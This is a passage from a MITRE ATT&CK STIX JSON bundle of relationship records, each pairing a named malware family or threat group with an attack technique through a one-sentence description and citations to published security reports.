                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.805Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--45522d60-160a-4c07-bd98-9a487175910e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) compressed data with zlib prior to sending it over C2.(Citation: Mandiant No Easy Breach)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-03-30T02:44:37.964Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0040312a-e85d-4066-8203-2e66f8aa5288",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.191Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6f448f20-0349-4132-80ec-d46e94d52426",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can create a remote shell and run a given command.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T15:50:54.783Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f8a21871-d67b-4e89-82db-580d117d28fb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.436Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4d7add6f-ebd5-477f-9958-a5176835da2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including popular instant messaging applications and email clients as well as WLAN keys.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "type": "relationship",
            "modified": "2020-03-19T22:38:12.985Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2db406cf-667d-4ad6-b768-7645f6663ac9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on accounts and permissions.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:48:11.388Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bad12e35-72da-43bb-b61b-505ed72883c5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has infected victims using watering holes.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.455Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.612Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--30efb3df-f7b4-47f8-9c5a-53a94509c929",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can upload files to the victim\u2019s machine and can download additional payloads.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.642Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--22879bfd-c9de-480b-83f3-4b58ef6dd08e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.434Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T19:10:49.075Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) uses PowerShell to download and execute the payload.(Citation: Talos Zeus Panda Nov 2017)",
            "id": "relationship--0b77fa58-6fd7-4002-955e-e3e1705d54c2",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.025Z",
            "created": "2019-01-29T17:59:44.414Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to list the processes running on a machine.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--4b8ebd1a-50ba-463a-b536-3ad8cc5013f8",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.805Z",
            "created": "2019-01-29T18:17:59.270Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Remcos Aug 2018",
                    "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html",
                    "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) searches for Sandboxie and VMware on the system.(Citation: Talos Remcos Aug 2018)",
            "id": "relationship--8cb5d843-e5b6-416a-b721-aa6b4c1ae2f3",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "type": "relationship",
            "modified": "2020-03-16T18:29:49.867Z",
            "created": "2019-01-29T18:55:20.754Z"
        },
        {
            "id": "relationship--a1e16836-d6d9-4d47-bb9a-35f31f369980",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has created scheduled tasks that run a VBScript to execute a payload on victim machines.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                },
                {
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:29:21.776Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) gathers the username from the victim\u2019s machine.(Citation: TrendMicro DarkComet Sept 2014)",
            "id": "relationship--e96e17e7-4349-4393-b875-5bab4e8ffa5a",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.526Z",
            "created": "2019-01-29T19:18:28.770Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses port 80 for C2 communications.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--24c04596-5a7c-4d77-93b5-dec49d70d8ea",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-12T14:43:22.568Z",
            "created": "2019-01-29T19:36:02.799Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) compresses the collected data with bzip2 before sending it to the C2 server.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--762f22f8-5f47-4c1f-b41b-86984c3e2550",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-03-30T02:09:54.673Z",
            "created": "2019-01-29T19:55:47.992Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>tasklist /svc</code> command to list the services on the system.(Citation: Kaspersky Turla)",
            "id": "relationship--d012dd66-fef4-4714-bb00-55d9dd2861a1",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.508Z",
            "created": "2019-01-29T19:55:48.191Z"
        },
        {
            "id": "relationship--468ca76f-cf76-4476-883b-d0743e837df8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used ports 8060 and 8888 for C2.(Citation: Unit 42 MuddyWater Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-04-22T22:36:52.907Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--21674a10-7168-420e-b916-2979a3ee3b5e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can perform process injection by using a reflective DLL.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.547Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3d9314d5-9177-48e4-9d82-e30d393b6280",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.(Citation: Microsoft PLATINUM June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM June 2017",
                    "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.124Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can install as a Windows service for persistence.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.710Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the system time during installation.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.770Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
            "type": "relationship",
            "modified": "2020-01-17T16:52:36.081Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "source_name": "TrendMicro Tropic Trooper Mar 2018"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created a hidden directory under <code>C:\\ProgramData\\Apple\\Updates\\</code> and <code>C:\\Users\\Public\\Documents\\Flash\\</code>.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--4269342d-fd7b-4fc6-882f-5099da627c85",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2020-05-21T14:55:00.348Z",
            "created": "2019-01-29T20:17:49.308Z"
        },
        {
            "id": "relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. [Sakula](https://attack.mitre.org/software/S0074) also has the capability to invoke a reverse shell.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
